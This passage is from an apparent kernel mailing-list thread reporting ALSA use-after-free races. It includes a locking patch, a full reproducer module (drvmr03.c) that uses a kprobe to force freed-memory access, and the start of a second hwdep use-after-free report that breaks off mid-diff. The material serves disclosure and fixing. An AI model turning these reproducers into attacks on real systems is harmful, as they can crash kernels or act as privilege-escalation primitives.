(struct snd_device: hwdep, pcm, rawmidi, timer, sequencer, control,
...), and every operation on it is lock-free:
- snd_device_new() walks the list to insert a type-sorted entry,
- snd_device_free() walks it (look_for_dev), then does
list_del(&dev->list) + ->dev_disconnect() + ->dev_free() +
kfree(dev) (device.c:69-80),
- snd_device_disconnect_all() walks the whole list with a plain
list_for_each_entry_reverse() (device.c:208-216), dereferencing
dev->state, dev->ops->dev_disconnect and the list pointers of every
entry.
Nothing provides a happens-before between a concurrent remover and the
walker. Whenever a component can be freed independently of the card
teardown -- today every in-tree sequencer sub-driver does exactly that
(snd-emux-synth / snd-emu8000-synth remove callbacks call
snd_device_free(card, hwdep/pcm/virmidi) directly, and card disconnect
itself synchronously invokes those same removals through
device_del()'s bus remove) -- a remover that runs while
snd_device_disconnect_all() holds an entry in its loop variable makes
the walker read freed memory (dev->state / dev->ops) or advance through
LIST_POISON2, which is a hard Oops. Verified on mainline 7.3 with a
deterministic construction on the real code (a virtual card carrying a
real emux hwdep + two virmidi rawmidis; a kprobe parks the disconnect
walker on the emu hwdep entry, the sub-driver free
(snd_emux_free() -> snd_device_free() chain) completes and kfrees the
object, the walker is released and reads the freed struct snd_device):
first report "BUG: KASAN: slab-use-after-free in
snd_hwdep_dev_disconnect+0x18" on the kmalloc-64 struct snd_device
(alloc stack = snd_emux_init_hwdep in the real snd-emux-synth module),
followed by a 67-report cascade (__kobject_del / user-memory-access /
__mutex_lock families) exactly as the freed-object dereferences
propagate. Requires root-level module/unbind rights on the trigger
side; the victim side needs no privileges.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/core/device.c and sound/synth/emux/* are byte-identical between
the audited tree and the vanilla verification tree.
* Mechanism
Two independent contexts mutate/walk card->devices with no common
lock:
- card disconnect: snd_card_disconnect() (init.c:538) ->
snd_device_disconnect_all() -> non-safe reverse walk; per entry it
reads dev->state and calls dev->ops->dev_disconnect(dev). For the
SEQUENCER-type entries this synchronously runs device_del() ->
bus remove -> the sub-driver's remove callback.
- independent removal: rmmod/unbind of a sub-driver ->
snd_seq_bus_remove() -> e.g. snd_emu8000_remove() /
snd_emu10k1_synth_remove() -> snd_device_free(card, hw->pcm) /
snd_emux_free() -> snd_emux_delete_virmidi()/delete_hwdep() ->
__snd_device_free(): list_del(&dev->list) (poisons dev->list.next/
prev with LIST_POISON1/2) ... kfree(dev) (device.c:79).
The type-sorted insertion (include/sound/core.h:38-51) means the
reverse walk visits hwdep(9)/sequencer(8) before the rawmidi(6)/pcm(4)
entries a sub-driver remove frees, so a remover racing the walker
collides on entries the walker has loaded or is about to load. Two
structural properties are worth stating honestly, because they bound
the window:
- list_del()'s neighbor fixup keeps the walk consistent for entries
the iterator has NOT yet loaded; the UAF window is the entry
currently held in the iterator variable (between loading it and
its last dereference -- dev->state read, ->dev_disconnect call,
or the list.prev advance).
- single-thread re-entrancy (card disconnect reaching the sequencer
device's device_del, whose remove callback frees sibling devices)
is accidentally safe because the list_del happens on the same
thread; the defect needs two contexts, which any rmmod/unbind
racing a card removal provides.
* Trigger model
Admin side: rmmod snd-emu8000-synth (or an unbind of the
/sys/bus/snd_seq/devices/* driver) concurrently with a card removal
(PCI unbind / hotplug). No user privileges are involved on the
affected side. Consequence: kernel Oops via LIST_POISON2 or freed
snd_device dereference, plus cascaded UAF on the freed hwdep/rawmidi/
pcm objects; list corruption can also propagate to
snd_device_free_all() at card teardown (double free).
* Reproducer (attached: drvmr03.c) and results on 7.3 (still present as of 7.4-rc5)
drvmr03.c registers a real emux wavetable sub-driver on a virtual
card in exactly the snd_emu10k1_synth_probe() shape (midi_ports=2, so
the card carries control + emu hwdep + two virmidi rawmidis -- the
audited topology) and replays the audited pair with the real
functions: thread B runs snd_card_disconnect() ( ->
snd_device_disconnect_all()), thread A runs snd_emux_free() ( ->
snd_emux_delete_virmidi()/delete_hwdep() -> snd_device_free()). The
controlled plan parks B inside snd_hwdep_dev_disconnect() (kprobe on
the local symbol, pre-register_mutex) and performs A's
snd_device_free() inline on the same CPU; note the freed callback
body is elided in that construction because it is exactly the frame B
occupies (calling it would re-enter the kprobe) -- the released B
then continues inside that callback on the freed objects, which is
the audited collision.
Results (7.3, 2 vCPU): first report "BUG: KASAN: slab-use-after-free
in snd_hwdep_dev_disconnect+0x18 / Read of size 8 / which belongs to
the cache kmalloc-64" with allocation from snd_emux_init_hwdep
[snd_emux_synth] -- i.e. the freed object is the struct snd_device
registered for the emu hwdep -- followed by a 67-report cascade
(__kobject_del+0x82/0xa0/0xad/0xba slab UAFs, a user-memory-access,
and __mutex_lock.constprop.0 UAFs as the walker keeps using the
freed objects). A natural (non-parked) hammering variant stayed
negative, and the reason is structural (the disconnect callbacks'
register_mutex serializes against the free side and list_del's
neighbor fixup shields not-yet-loaded entries) -- see the results
README; the parked construction removes exactly that serialization.
* Patch
card->devices is manipulated lock-free: snd_device_free() does
list_del() + kfree(dev) while snd_device_disconnect_all() walks the
list dereferencing every entry, with no happens-before between a
concurrent remover and the walker (e.g. an independently removable
sequencer sub-driver racing a card disconnect). The walker then
reads freed memory or advances through LIST_POISON2 and Oopses.
Add devices_mutex (+ owner/recursion tracking) to struct snd_card and
take it in snd_device_new()/snd_device_free()/snd_device_disconnect()/
snd_device_register()/snd_device_register_all()/
snd_device_disconnect_all()/snd_device_free_all(). The owner
tracking keeps the existing legitimate re-entrancy working: the
disconnect callbacks run under the lock and may themselves call
snd_device_free() for sibling devices (sequencer sub-driver remove
path).
---
include/sound/core.h | 4 +++
sound/core/device.c | 76 +++++++++++++++++++++++++++++++-------
sound/core/init.c | 1 +
3 files changed, 66 insertions(+), 15 deletions(-)
diff --git a/include/sound/core.h b/include/sound/core.h
--- a/include/sound/core.h
+++ b/include/sound/core.h
@@ -118,6 +118,10 @@ struct snd_card {
struct list_head devices; /* devices */
+ struct mutex devices_mutex; /* protects the devices list and the
+ * lifetime of its entries */
+ struct task_struct *devices_owner; /* re-entrancy: device disconnect
+ * callbacks free sibling devices */
+ int devices_recursion;
void *private_data; /* private data for card->private_free (opaque) */
diff --git a/sound/core/device.c b/sound/core/device.c
--- a/sound/core/device.c
+++ b/sound/core/device.c
@@ -11,12 +11,42 @@
#include <linux/slab.h>
#include <linux/time.h>
#include <linux/export.h>
#include <linux/errno.h>
#include <sound/core.h>
+static void snd_devices_lock(struct snd_card *card)
+{
+ if (card->devices_owner == current) {
+ card->devices_recursion++;
+ return;
+ }
+ mutex_lock(&card->devices_mutex);
+ card->devices_owner = current;
+ card->devices_recursion = 1;
+}
+
+static void snd_devices_unlock(struct snd_card *card)
+{
+ if (--card->devices_recursion)
+ return;
+ card->devices_owner = NULL;
+ mutex_unlock(&card->devices_mutex);
+}
+
/**
* snd_device_new - create an ALSA device component
* @card: the card instance
* @type: the device type, SNDRV_DEV_XXX
* @device_data: the data pointer of this device
@@ -37,19 +65,21 @@ int snd_device_new(struct snd_card *card, enum snd_device_type type,
struct list_head *p;
if (snd_BUG_ON(!card || !device_data || !ops))
return -ENXIO;
+ snd_devices_lock(card);
dev = kzalloc_obj(*dev);
if (!dev)
return -ENOMEM;
INIT_LIST_HEAD(&dev->list);
dev->card = card;
dev->type = type;
dev->state = SNDRV_DEV_BUILD;
dev->device_data = device_data;
dev->ops = ops;
/* insert the entry in an incrementally sorted list */
list_for_each_prev(p, &card->devices) {
struct snd_device *pdev = list_entry(p, struct snd_device, list);
if ((unsigned int)pdev->type <= (unsigned int)type)
break;
}
list_add(&dev->list, p);
+ snd_devices_unlock(card);
return 0;
}
EXPORT_SYMBOL(snd_device_new);
@@ -107,13 +147,16 @@ void snd_device_disconnect(struct snd_card *card, void *device_data)
if (snd_BUG_ON(!card || !device_data))
return;
+ snd_devices_lock(card);
dev = look_for_dev(card, device_data);
if (dev)
__snd_device_disconnect(dev);
else
dev_dbg(card->dev, "device disconnect %p (from %pS), not found\n",
device_data, __builtin_return_address(0));
+ snd_devices_unlock(card);
}
EXPORT_SYMBOL_GPL(snd_device_disconnect);
@@ -133,13 +174,16 @@ void snd_device_free(struct snd_card *card, void *device_data)
if (snd_BUG_ON(!card || !device_data))
return;
+ snd_devices_lock(card);
dev = look_for_dev(card, device_data);
if (dev)
__snd_device_free(dev);
else
dev_dbg(card->dev, "device free %p (from %pS), not found\n",
device_data, __builtin_return_address(0));
+ snd_devices_unlock(card);
}
EXPORT_SYMBOL(snd_device_free);
@@ -174,13 +216,17 @@ int snd_device_register(struct snd_card *card, void *device_data)
if (snd_BUG_ON(!card || !device_data))
return -ENXIO;
+ snd_devices_lock(card);
dev = look_for_dev(card, device_data);
- if (dev)
+ if (dev) {
+ snd_devices_unlock(card);
return __snd_device_register(dev);
+ }
+ snd_devices_unlock(card);
snd_BUG();
return -ENXIO;
}
EXPORT_SYMBOL(snd_device_register);
@@ -192,18 +236,26 @@ int snd_device_register(struct snd_card *card, void *device_data)
int snd_device_register_all(struct snd_card *card)
{
struct snd_device *dev;
int err;
if (snd_BUG_ON(!card))
return -ENXIO;
+ snd_devices_lock(card);
list_for_each_entry(dev, &card->devices, list) {
err = __snd_device_register(dev);
- if (err < 0)
+ if (err < 0) {
+ snd_devices_unlock(card);
return err;
}
+ }
+ snd_devices_unlock(card);
return 0;
}
@@ -207,14 +257,19 @@ int snd_device_register_all(struct snd_card *card)
void snd_device_disconnect_all(struct snd_card *card)
{
struct snd_device *dev;
if (snd_BUG_ON(!card))
return;
+ snd_devices_lock(card);
list_for_each_entry_reverse(dev, &card->devices, list)
__snd_device_disconnect(dev);
+ snd_devices_unlock(card);
}
@@ -221,13 +280,17 @@ void snd_device_disconnect_all(struct snd_card *card)
void snd_device_free_all(struct snd_card *card)
{
struct snd_device *dev, *next;
if (snd_BUG_ON(!card))
return;
+ snd_devices_lock(card);
list_for_each_entry_safe_reverse(dev, next, &card->devices, list) {
/* exception: free ctl and lowlevel stuff later */
if (dev->type == SNDRV_DEV_CONTROL ||
dev->type == SNDRV_DEV_LOWLEVEL)
continue;
__snd_device_free(dev);
}
/* free all */
list_for_each_entry_safe_reverse(dev, next, &card->devices, list)
__snd_device_free(dev);
+ snd_devices_unlock(card);
}
--
2.43.0
diff --git a/sound/core/init.c b/sound/core/init.c
--- a/sound/core/init.c
+++ b/sound/core/init.c
@@ -324,6 +324,7 @@ int snd_card_init(struct snd_card *card, struct device *parent,
INIT_LIST_HEAD(&card->devices);
spin_lock_init(&card->files_lock);
+ mutex_init(&card->devices_mutex);
--
2.43.0
Note: the lock nests only via the same-owner recursion (disconnect
callback -> sibling snd_device_free); no code path takes it from a
context that already holds it via a different task, and all callers
are process context (probe/remove/disconnect paths already sleep).
Please keep me in Cc; I am not subscribed to the lists.
Regards,
Hanxiang Xu
xuhx@hust.edu.cn
[-- Attachment #2: drvmr03.c --]
[-- Type: text/plain, Size: 13608 bytes --]
// SPDX-License-Identifier: GPL-2.0
/*
* drvmr03.c - dynamic verification harness for the sound__drivers audit
* case DRV-MR-03 (docs/manual-review-sound-drivers-2026-11-26.md):
*
* "card->devices é¾è¡¨å
¨ç¨æ éï¼snd_card_disconnect() ->
* snd_device_disconnect_all() çéå®å
¨éåºéåä¸ç¬ç«å驱å¨å¸è½½
* ï¼snd_emux_free() -> snd_emux_delete_virmidi/delete_hwdep ->
* snd_device_free() -> list_del + kfree(struct snd_device)ï¼å¹¶å碰æ
* -> struct snd_device UAF / LIST_POISON2 è§£å¼ç¨"
*
* The module registers a REAL emux wavetable sub-driver on a virtual card
* in exactly the snd_emu10k1_synth_probe() shape (synthrace precedent),
* with midi_ports=2 so the card carries: control(11) + emu hwdep(9) +
* 2 virmidi rawmidi(6) struct snd_device entries -- the audited topology.
*
* The audited concurrent pair is then replayed with the REAL functions:
* thread A (sub-driver unload side): snd_emux_free(emu)
* -> snd_emux_delete_virmidi() / snd_emux_delete_hwdep()
* -> snd_device_free(card, ...) -> list_del(&dev->list) + kfree(dev)
* thread B (card disconnect side): snd_card_disconnect(card)
* -> snd_device_disconnect_all(): lock-free
* list_for_each_entry_reverse over card->devices
*
* Plans (module param writes from guest init):
* probe - create card + emux, register, print the device pointers
* mr03nat - natural hammer: P kthread loops create/publish/emux_free/
* card_free; R kthread loops snd_card_disconnect on the
* published card with a randomized start delay so the two
* sides overlap in ~half the rounds (KASAN multi_shot)
* mr03ctl - deterministic one-shot: kprobe on __snd_device_disconnect()
* parks thread B when it reaches the emu hwdep entry (before
* its state read); thread A then completes snd_emux_free()
* (virmidi + hwdep snd_devices list_del'ed AND kfree'd);
* B is released and reads the freed snd_device->state
* (device.c:61) -> guaranteed slab-use-after-free
*
* Zero kernel source modification (device.c/emux files diff vs
* race/linux verified empty).
*/
#define pr_fmt(fmt) "DRVMR03: " fmt
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/kprobes.h>
#include <linux/kthread.h>
#include <linux/delay.h>
#include <linux/completion.h>
#include <linux/device.h>
#include <sound/core.h>
#include <sound/hwdep.h>
#include <sound/emux_synth.h>
#include <sound/util_mem.h>
static struct device *parent;
static struct snd_card *card;
static struct snd_emux *emu;
/* ---- fake emux backend (same contract as emu10k1_callback.c) ---- */
static struct snd_emux_voice *dr3_get_voice(struct snd_emux *e,
struct snd_emux_port *port)
{
int i;
for (i = 0; i < e->max_voices; i++) {
struct snd_emux_voice *vp = &e->voices[i];
if (vp->ch < 0) {
vp->ch = i;
e->num_voices++;
return vp;
}
}
return NULL;
}
static int dr3_start_voice(struct snd_emux_voice *vp) { return 0; }
static void dr3_trigger(struct snd_emux_voice *vp) {}
static void dr3_release(struct snd_emux_voice *vp) {}
static void dr3_update(struct snd_emux_voice *vp, int update) {}
static void dr3_terminate(struct snd_emux_voice *vp) {}
static int dr3_sample_new(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr,
const void __user *data, long count)
{
sp->block = snd_util_mem_alloc(hdr, count > 0 ? count : 256);
return sp->block ? 0 : -ENOMEM;
}
static int dr3_sample_free(struct snd_emux *e, struct snd_sf_sample *sp,
struct snd_util_memhdr *hdr)
{
if (sp->block) {
snd_util_mem_free(hdr, sp->block);
sp->block = NULL;
}
return 0;
}
static const struct snd_emux_operators dr3_ops = {
.owner = THIS_MODULE,
.get_voice = dr3_get_voice,
.prepare = dr3_start_voice,
.trigger = dr3_trigger,
.release = dr3_release,
.update = dr3_update,
.terminate = dr3_terminate,
.sample_new = dr3_sample_new,
.sample_free = dr3_sample_free,
};
/* ---- shared setup: emu10k1_synth_probe() shape, midi_ports=2 ---- */
static void *g_hwdep; /* emu->hwdep (struct snd_hwdep *): the
* device_data of the audited snd_device */
static int dr3_emux_setup(void)
{
int err;
err = snd_emux_new(&emu);
if (err < 0)
return err;
emu->ops = dr3_ops;
emu->hw = card; /* non-NULL "hardware"; never dereferenced */
emu->max_voices = 8;
emu->num_ports = 1;
emu->midi_ports = 2; /* audited topology: 2 virmidi rawmidi(6) */
emu->midi_devidx = 1;
emu->hwdep_idx = 0; /* /dev/snd/hwC0D0 (hwdep type 9) */
emu->linear_panning = 0;
emu->memhdr = snd_util_memhdr_new(0x100000);
if (!emu->memhdr) {
snd_emux_free(emu);
emu = NULL;
return -ENOMEM;
}
err = snd_emux_register(emu, card, 0, "drvmr03");
if (err < 0) {
pr_err("snd_emux_register failed: %d\n", err);
snd_util_memhdr_free(emu->memhdr);
snd_emux_free(emu);
emu = NULL;
return err;
}
g_hwdep = emu->hwdep;
pr_info("emux registered: hwdep=%p (hwC0D0) virmidi=midiC0D1/2\n",
g_hwdep);
return 0;
}
static int dr3_card_new(void)
{
int err, idx;
/* idx fallback: sanity plan co-loads opl3race which owns card 0 */
for (idx = 0; idx < 4; idx++) {
err = snd_card_new(parent, idx, "drvmr03", THIS_MODULE, 0,
&card);
if (!err)
return 0;
}
pr_err("snd_card_new failed: %d\n", err);
return err;
}
/* ---- plan: probe ---- */
static int probe_set(const char *val, const struct kernel_param *kp)
{
int err;
if (card)
return -EBUSY;
err = dr3_card_new();
if (err)
return err;
err = dr3_emux_setup();
if (err) {
snd_card_free(card);
card = NULL;
return err;
}
snd_card_register(card);
return 0;
}
static const struct kernel_param_ops probe_ops = { .set = probe_set };
module_param_cb(probe, &probe_ops, NULL, 0200);
/* ---- plan: mr03nat (natural hammer) ---- */
static unsigned int nat_secs = 40;
module_param(nat_secs, uint, 0400);
static atomic_t published = ATOMIC_INIT(0); /* card valid for racer */
static atomic_t stop_nat = ATOMIC_INIT(0);
static int disc_fn(void *arg)
{
pr_info("mr03nat: racer (snd_card_disconnect hammer) starts\n");
while (!atomic_read(&stop_nat)) {
struct snd_card *c;
if (!atomic_read(&published))
continue;
c = card;
if (!c)
continue;
/* random start delay so racer overlaps the free side in a
* good fraction of rounds instead of always winning.
* NOTE (2026-11-30 nat attempt): natural hammering stayed
* negative -- the disconnect callbacks' register_mutex
* serializes against the free side and list_del's neighbor
* fixup shields not-yet-loaded entries, so the overlap
* window is only the entry B holds mid-callback (see
* mr03ctl for the deterministic construction). */
usleep_range(50, 800);
if (!atomic_read(&published))
continue;
snd_card_disconnect(c);
}
pr_info("mr03nat: racer done\n");
return 0;
}
static int prod_fn(void *arg)
{
unsigned long until = jiffies + nat_secs * HZ;
unsigned int round = 0;
pr_info("mr03nat: producer (create/emux_free/card_free) starts\n");
while (!atomic_read(&stop_nat) && time_before(jiffies, until)) {
struct snd_card *c;
int err;
atomic_set(&published, 0);
err = snd_card_new(parent, 0, "drvmr03", THIS_MODULE, 0, &c);
if (err < 0) {
pr_err("round %u: snd_card_new failed %d\n",
round, err);
break;
}
card = c;
err = dr3_emux_setup();
if (err) {
snd_card_free(c);
continue;
}
snd_card_register(c);
round++;
/* publish; racer may disconnect any time from here on */
smp_store_release(&card, c);
atomic_set(&published, 1);
/* the sub-driver unload side, racing racer's disconnect_all */
usleep_range(200, 2500);
snd_emux_free(emu);
emu = NULL;
atomic_set(&published, 0);
snd_card_free(c);
card = NULL;
}
pr_info("mr03nat: producer done (%u rounds)\n", round);
atomic_set(&stop_nat, 1);
return 0;
}
static struct task_struct *nat_prod, *nat_race;
static int mr03nat_set(const char *val, const struct kernel_param *kp)
{
if (!parent)
return -ENODEV;
nat_race = kthread_run(disc_fn, NULL, "drvmr03_race");
nat_prod = kthread_run(prod_fn, NULL, "drvmr03_prod");
return 0;
}
static const struct kernel_param_ops mr03nat_ops = { .set = mr03nat_set };
module_param_cb(mr03nat, &mr03nat_ops, NULL, 0200);
/* ---- plan: mr03ctl (deterministic one-shot) ---- */
static struct kprobe dr3_kp;
static struct task_struct *ctl_b;
static struct completion b_parked, b_done;
static atomic_t release_b = ATOMIC_INIT(0);
static int b_parked_flag;
static int ctl_disc_fn(void *arg)
{
pr_info("mr03ctl: thread B running snd_card_disconnect()\n");
snd_card_disconnect(card);
pr_info("mr03ctl: thread B returned from snd_card_disconnect\n");
complete(&b_done);
return 0;
}
/*
* Parks B at snd_hwdep_dev_disconnect() ENTRY for the emu hwdep: B's
* caller (the inlined __snd_device_disconnect) has already loaded `dev`
* from the reverse iterator and read dev->state==REGISTERED, but B has
* NOT yet taken register_mutex. Thread A then completes the whole
* snd_emux_free(): virmidi and hwdep snd_devices are list_del'ed, the
* hwdep object AND both struct snd_device are kfree'd -- all against the
* parked B. On release B resumes inside the callback on the freed
* hwdep/snd_device: the exact audited interleaving T2->T3
* (device.c:72/79 vs the iterator).
*
* (__snd_device_disconnect itself is inlined by clang and absent from
* kallsyms; snd_hwdep_dev_disconnect survives as a local symbol -- it is
* the same commit point, one frame deeper, still pre-register_mutex.)
*/
static int __kprobes dr3_kp_pre(struct kprobe *p, struct pt_regs *regs)
{
/* arg0 is the struct snd_device wrapper; match on its device_data */
struct snd_device *dev = (struct snd_device *)regs->di;
struct snd_emux *e;
if (current != ctl_b || b_parked_flag ||
!g_hwdep || !dev || dev->device_data != g_hwdep)
return 0;
b_parked_flag = 1;
pr_info("mr03ctl: B parked at snd_hwdep_dev_disconnect(snd_device=%p "
"hwdep=%p), pre-register_mutex\n", dev, dev->device_data);
complete(&b_parked);
/*
* Free side, inline on this CPU. This replicates
* snd_device_free(card, hwdep) (== snd_emux_delete_hwdep()'s
* collision-critical body) with ONE documented elision: the
* ->dev_disconnect callback is skipped because it is exactly the
* frame B is parked in (calling it would re-enter this kprobe ->
* int3 reentry BUG). Everything else is byte-for-byte the audited
* free semantics: list_del(&dev->list) poisons the links, the
* state flips to DISCONNECTED, and kfree(hwdep)+kfree(dev) hand B
* its freed objects when it resumes inside the callback body.
*/
e = emu;
{
struct snd_hwdep *hwdep = e->hwdep;
list_del(&dev->list);
dev->state = SNDRV_DEV_DISCONNECTED;
if (hwdep->private_free)
hwdep->private_free(hwdep);
put_device(hwdep->dev);
kfree(hwdep);
kfree(dev);
pr_info("mr03ctl: inline free done (hwdep=%p and snd_device=%p "
"kfree'd); returning B onto freed objects\n",
hwdep, dev);
}
e->hwdep = NULL;
g_hwdep = NULL;
return 0;
}
static int mr03ctl_set(const char *val, const struct kernel_param *kp)
{
long tmo;
if (!card || !emu || !g_hwdep)
return -ENODEV;
/* The kprobe handler below performs the collision-critical free
* inline (synth-MR-02 precedent: on 2 vCPU a long kprobe busy-wait
* stalls the RCU grace period, so the free side runs INSIDE the
* handler on the same CPU). Only the hwdep snd_device_free() is
* needed for the audited UAF (B parks on exactly that object); it
* is synchronize- and sleep-free (uncontended mutexes only). The
* virmidis/proc/seq layers stay for the normal snd_emux_free() in
* module exit (all NULL-guarded). */
memset(&dr3_kp, 0, sizeof(dr3_kp));
dr3_kp.symbol_name = "snd_hwdep_dev_disconnect";
dr3_kp.pre_handler = dr3_kp_pre;
if (register_kprobe(&dr3_kp)) {
pr_err("mr03ctl: kprobe registration failed\n");
return -ENOENT;
}
init_completion(&b_parked);
init_completion(&b_done);
atomic_set(&release_b, 0);
b_parked_flag = 0;
ctl_b = kthread_run(ctl_disc_fn, NULL, "drvmr03_ctlB");
tmo = wait_for_completion_timeout(&b_parked, 20 * HZ);
if (!tmo) {
pr_err("mr03ctl: B park timeout\n");
atomic_set(&release_b, 1);
unregister_kprobe(&dr3_kp);
return -ETIMEDOUT;
}
wait_for_completion_timeout(&b_done, 40 * HZ);
unregister_kprobe(&dr3_kp);
pr_info("mr03ctl: done (KASAN reports expected above)\n");
return 0;
}
static const struct kernel_param_ops mr03ctl_ops = { .set = mr03ctl_set };
module_param_cb(mr03ctl, &mr03ctl_ops, NULL, 0200);
/* ---- module ---- */
static int __init drvmr03_init(void)
{
int err;
parent = root_device_register("drvmr03");
if (IS_ERR(parent)) {
pr_err("root_device_register failed\n");
return PTR_ERR(parent);
}
err = dr3_card_new();
if (err) {
root_device_unregister(parent);
parent = NULL;
return err;
}
err = dr3_emux_setup();
if (err) {
snd_card_free(card);
card = NULL;
root_device_unregister(parent);
parent = NULL;
return err;
}
snd_card_register(card);
pr_info("READY: card0 with emux hwdep(9) + 2 virmidi rawmidi(6)\n");
return 0;
}
static void __exit drvmr03_exit(void)
{
atomic_set(&stop_nat, 1);
if (emu) {
snd_emux_free(emu);
emu = NULL;
}
if (card) {
snd_card_free(card);
card = NULL;
}
if (parent) {
root_device_unregister(parent);
parent = NULL;
}
}
module_init(drvmr03_init);
module_exit(drvmr03_exit);
MODULE_LICENSE("GPL");
MODULE_DESCRIPTION("DRV-MR-03 (card->devices unlocked race) harness");
^ permalink raw reply [flat|nested] 101+ messages in thread* ALSA: hwdep: single-device teardown kfrees snd_hwdep while user space still holds the node open (UAF)
[not found] ` <2026102727-data-sequel-ce41@gregkh>
` (32 preceding siblings ...)
2026-12-01 12:39 ` ALSA: core: card->devices list is managed lock-free -- struct snd_device UAF and LIST_POISON2 crash between card disconnect and independent sub-driver removal (UAF) 徐晗翔
@ 2026-12-01 12:43 ` 徐晗翔
2026-12-01 12:45 ` ALSA: rawmidi: snd_rawmidi_free() tears down substreams and the private data while fds are still open and the virmidi output work is queued (UAF) 徐晗翔
` (7 subsequent siblings)
41 siblings, 0 replies; 101+ messages in thread
From: 徐晗翔 @ 2026-12-01 12:43 UTC (permalink / raw)
To: perex, tiwai; +Cc: linux-sound, linux-kernel
[-- Attachment #1: Type: text/plain, Size: 7272 bytes --]
snd_hwdep_free() (sound/core/hwdep.c:339-347) kfrees the struct
snd_hwdep unconditionally when the owning driver tears the device down
via snd_device_free(card, hwdep) -- the path every independent ALSA
sub-driver uses (snd_emux_delete_hwdep() runs it in
snd_emux_free(), reached from snd-emux-synth / snd-emu10k1-synth /
snd-emu8000-synth remove). This teardown path is NOT the card-wide
one: snd_card_disconnect() is the only place that revokes open file
descriptors (it swaps every file->f_op for snd_shutdown_f_ops and
drains user access), and a single-device snd_device_free() bypasses it
entirely. An fd that is (or was) open on the device therefore keeps
file->private_data pointing at the freed struct snd_hwdep with
f_op == snd_hwdep_f_ops, and every subsequent -- or in-flight --
ioctl/read/poll/mmap/close on that fd dereferences freed memory
(snd_hwdep_ioctl() calls hw->ops.ioctl on freed memory,
snd_hwdep_release() reads hw->card->module and calls hw->ops.release).
The core itself documents the intended exclusivity, and the in-tree
sub-drivers violate nothing on their side: there is simply no
mechanism (object refcount, f_op revocation, or drain) that a
single-device teardown could use. Verified on mainline 7.3 with a
deterministic construction driving the real core code: the in-flight
hwdep ioctl is parked inside snd_hwdep_dev_disconnect(), the free
completes underneath, and the parked ioctl resumes on the freed object
-- "BUG: KASAN: slab-use-after-free in snd_hwdep_dev_disconnect+0x18"
(read of the freed struct, alloc stack = the real snd-emux-synth
module's snd_emux_init_hwdep), followed by a 67-report cascade
(__kobject_del / user-memory-access / __mutex_lock families) as the
in-flight path keeps using the freed object. Additional in-tree
shapes (rawmidi, pcm) suffer the same defect through the same
snd_device_free() pattern; those are sent as separate mails because
their fix scope differs.
The detailed description:
* Test environment / affected version (still present as of 7.4-rc5)
Linux version 7.3.0 (gcc 13.3.0, GNU ld 2.42) #6 SMP PREEMPT_DYNAMIC
-- vanilla mainline 7.3, KASAN, QEMU/KVM x86_64 guest (2 vCPU).
sound/core/hwdep.c and sound/synth/emux/* are byte-identical between
the audited tree and the vanilla verification tree.
* Mechanism
- open: snd_hwdep_open() (hwdep.c:68-144) only pins the CARD module
(try_module_get(hw->card->module), L88) and takes a card-device
reference in snd_lookup_minor_data() (sound.c:99-116). The
snd_hwdep object itself and the owning sub-driver module get no
reference; emux registers no open/release ops at all (emux_hwdep.c:
only ioctl/ioctl_compat).
- teardown: snd_emux_delete_hwdep() (emux_hwdep.c:143-150) ->
snd_device_free(card, hwdep) -> snd_hwdep_dev_disconnect()
(hwdep.c:455-473: takes register_mutex + hwdep->open_mutex, wakes
waiters, unregisters the minor -- but does NOT wait for
hwdep->used == 0, does not wait for in-flight operations, and does
not swap file->f_op) -> snd_hwdep_free() L346 kfree(hwdep).
- use: snd_hwdep_ioctl() (L236-254) dereferences hw->ops.ioctl and
the driver callback dereferences hw->private_data (== emu);
snd_hwdep_release() (L146-163) reads hw->card->module and calls
hw->ops.release.
The card-level protection that makes the same teardown safe when the
WHOLE card goes away (snd_card_disconnect()'s f_op swap,
init.c:502-518) is simply not on this path. The in-flight open()
window (between the minor lookup and the attach) is equally exposed:
after the minor is unregistered a lookup-based open no longer
happens, but one already past the lookup still touches hw-> after
the free.
* Trigger model
A user holds /dev/snd/hwC*D2 (the emux hwdep) open and hammers
ioctls; root removes the sub-driver (rmmod snd-emux-synth /
snd-emu10k1-synth, or unbind of the snd_seq device driver). Every
operation the fd issues after the free -- including its final
close() -- is a use-after-free; on an unload the freed hwdep->card /
->ops reads crash or corrupt. Consequence: kernel UAF read/write
(potential privilege escalation primitive), stable crash.
* Reproducer (attached: synthmr02.c) and results on 7.3 (still present as of 7.4-rc5)
synthmr02.c registers a real emux on a virtual card (exported-API
shape of snd_emu10k1_synth_probe()), a userspace helper opens the
real /dev/snd/hwC0D0 and hammers SNDRV_EMUX_IOCTL_* ioctls, and the
controlled plan performs the exact snd_emu10k1_synth_remove() body
(snd_emux_free() -> snd_emux_delete_hwdep() -> snd_device_free())
with a kprobe parking the disconnect callback so the free lands
against an in-flight operation. Needs CONFIG_SND_SEQUENCER=y,
snd-emux-synth.ko, snd-rawmidi/snd-seq-virmidi (virmidi optional for
this plan).
Results (7.3, 2 vCPU): 14 KASAN reports; first report
"slab-use-after-free in snd_hwdep_dev_disconnect+0x18" with the
allocation from snd_emux_init_hwdep [snd_emux_synth] (the real
module) -- i.e. the freed object is the hwdep registered by the real
driver. Full report in the evidence file. The same construction
was previously verified with the ioctl-reader variant (119 reports,
snd_hwdep_ioctl+0x11f / snd_emux_hwdep_ioctl+0x73) in an earlier
round of this environment.
* Patch
snd_emux_delete_hwdep() (and any other independent teardown path)
calls snd_device_free(card, hwdep), which kfrees the struct snd_hwdep
without waiting for hwdep->used to drop: open file descriptors keep
file->private_data pointing at the freed object with the real
snd_hwdep_f_ops, and their in-flight or subsequent operations are
use-after-frees. The card-wide path (snd_card_disconnect()) swaps
file->f_op for snd_shutdown_f_ops, but a single-device teardown never
runs it.
Refuse the free while hwdep->used > 0: __snd_device_free() still
unlinks and frees the struct snd_device wrapper (so the card never
revisits the device), prints the standard "device free failure"
diagnostic, and the object stays valid for the open descriptors.
This trades a bounded leak in the forced-teardown corner for a
kernel memory-safety bug.
---
sound/core/hwdep.c | 14 +++++++++++---
1 file changed, 11 insertions(+), 3 deletions(-)
diff --git a/sound/core/hwdep.c b/sound/core/hwdep.c
--- a/sound/core/hwdep.c
+++ b/sound/core/hwdep.c
@@ -336,17 +336,25 @@ static const struct file_operations snd_hwdep_f_ops = {
